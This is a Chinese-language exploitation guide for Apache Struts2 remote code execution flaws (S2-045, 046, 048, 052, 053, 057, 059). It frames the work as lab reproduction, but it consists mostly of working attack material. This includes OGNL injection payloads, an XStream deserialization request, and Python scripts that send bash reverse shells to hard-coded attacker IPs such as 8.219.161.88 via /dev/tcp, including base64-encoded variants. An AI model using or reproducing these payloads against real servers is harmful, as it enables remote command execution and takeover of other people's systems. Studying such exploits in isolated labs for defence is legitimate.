Java开发框架Struts2系列漏洞

Struts2简介

Apache Struts是美国阿帕奇（Apache）软件基金会负责维护的一个开源项目，是一套用于创建企业级Java Web 应用的开源MVC框架，主要提供两个版本框架产品： Struts1和Struts2；Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品，是在 struts1和WebWork的技术基础上进行了合并的全新的Struts2框架。

Struts2历史漏洞原理分析

https://tttang.com/archive/1583/

https://su18.org/post/struts2-5/

Struts2历史漏洞环境搭建

1
https://github.com/vulhub/vulhub/tree/master/struts2

Struts2历史漏洞发现

Struts2框架识别

  1. 通过网页后缀来进行判断，如 .do 或者 .action

  2. 通过 /struts/webconsole.html 是否存在来进行判断，需要 devMode 为 true

Struts2漏洞检测工具

1
2
3
https://github.com/HatBoy/Struts2-Scan
https://github.com/Guaang/s2-tool
https://github.com/shack2/Struts2VulsTools

Struts2历史漏洞利用

Struts2-045

漏洞简介

漏洞编号：S2-045

CVE编号：cve-2017-5638

安恒信息安全研究院WEBIN实验室高级安全研究员 nike.zheng 发现著名 J2EE 框架——Struts2存在远程代码执行的严重漏洞，定级为高风险

在使用基于 Jakarta 插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞，进而执行系统命令。

影响范围

影响版本范围为：

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

漏洞利用

1、随意上传一个文件并抓包
2、修改 Content-Type 为以下内容

1
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

image-20230417214631989

xxx=’multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true

3、反弹shell

Java反弹shell需要Base64编码

1
2
3
4
5
1.初始反弹shell脚本：bash -i >& /dev/tcp/124.71.45.28/7890 0>&1

2.base64编码：YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNzg5MCAwPiYx

3.添加base64 -d解码与bash -i执行：echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNzg5MCAwPiYx|base64 -d|bash -i

https://www.sqlsec.com/rce/

image-20240309155541432

使用burp抓包，修改content-type字段为反弹shell payload

1
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNzg5MCAwPiYx|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

打开攻击机端口监听

即可拿到靶机权限

Struts2漏洞利用POC

struts2-059

Apache Struts框架, 会对某些特定的标签的属性值，比如id属性进行二次解析，所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式，造成OGNL表达式注入。从而可能造成远程执行代码。

影响版本: Struts 2.0.0 - Struts 2.5.20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
# @time     : 2022/2/23 0023 14:42
# @Author   : mingy
# @File     : S2-059.py
# @Software : PyCharm

import requests
import base64

# 靶机地址 URL
target_url = "http://120.26.80.77:8080/"
# 接收反弹shell 攻击机IP
reverse_ip = "8.219.161.88"
# 接收反弹shell 攻击机端口
reverse_port = "9090"

bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"

data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo," + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") +"}|{base64,-d}|{bash,-i}'))}"
}

res1 = requests.post(target_url, data=data1)
res2 = requests.post(target_url, data=data2)

struts2-057

当Struts2的配置满足以下条件时：

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性，或使用了通配符

namespace将由用户从uri传入，并作为OGNL表达式计算，最终造成任意命令执行漏洞。

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16

弹出计算器

  • 2.3.20版本
1
/%24%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C@java.lang.Runtime@getRuntime%28%29.exec%28%27calc.exe%27%29%7D/index.action
  • 2.3.34版本
1
/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29%29%7D/index.action

命令回显

两个版本都是利用com.opensymphony.xwork2.dispatcher.HttpServletResponse 对象去打印命令执行后的回显数据

  • 2.3.20 版本
1
/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
  • 2.3.34 版本
1
/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action

复现流程

  1. 测试漏洞
1
2
3
/struts2-showcase/${(1+1)}/actionChain1.action

${(1+1)} 必须要URL编码

image-20240309164205357

  1. 命令回显
1
/struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

image-20240309164301244

struts2-053

Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。

影响版本: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

struts2-052

影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
POST /orders/3 HTTP/1.1
Host: 120.26.80.77:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2063

<map> 
    <entry> 
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                        <is class="javax.crypto.CipherInputStream">
                            <cipher class="javax.crypto.NullCipher">
                                <initialized>false</initialized>
                                <opmode>0</opmode>
                                <serviceIterator class="javax.imageio.spi.FilterIterator">
                                    <iter class="javax.imageio.spi.FilterIterator">
                                        <iter class="java.util.Collections$EmptyIterator"/>
                                        <next class="java.lang.ProcessBuilder">
                                            <command>
    <string>touch</string>
                        <string>/tmp/success</string>
                                            </command>
                                            <redirectErrorStream>false</redirectErrorStream>
                                        </next>
                                    </iter>
                                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>foo</name>
                                    </filter>
                                    <next class="string">foo</next>
                                </serviceIterator>
                                <lock/>
                            </cipher>
                            <input class="java.lang.ProcessBuilder$NullInputStream"/>
                            <ibuffer></ibuffer>
                            <done>false</done>
                            <ostart>0</ostart>
                            <ofinish>0</ofinish>
                            <closed>false</closed>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
</map>

命令执行的关键字为：

1
2
3
4
<command>
    <string>touch</string>
    <string>/tmp/success</string>
</command>

还可改为：

1
2
3
<command>
    <string>calc</string>
</command>

反弹shell：

1
2
3
4
5
<command>
    <string>bash</string>
    <string>-c</string>
    <string>bash -i >&amp; /dev/tcp/8.219.161.88/9090 0>&amp;1</string>
</command>

struts2-048

影响版本: 2.0.0 - 2.3.32

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

复现过程

  1. 访问 http://IP地址:端口/integration/editGangster.action

  2. 在 Gangster Name 输入框中输入payload

struts2-046

漏洞点在 filename

1
2
3
4
5
6
7
8
9
10
11
12
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}\xb"
Content-Type: text/plain
Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

image-20240309171942960

命令执行payload

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

image-20240309172027948

struts2-045

漏洞点在POST请求头 Content-Type

影响版本：(Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10)

命令执行payload：

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

image-20240309172257494

反弹shell脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import base64

# 靶机地址 URL
target_url = "http://120.26.80.77:8080/"
# 接收反弹shell 攻击机IP
reverse_ip = "8.219.161.88"
# 接收反弹shell 攻击机端口
reverse_port = "9090"

bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"

headers = {
    "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo " + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") + "|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
}

rep = requests.post(url=target_url, headers=headers)

struts2_032

struts2_016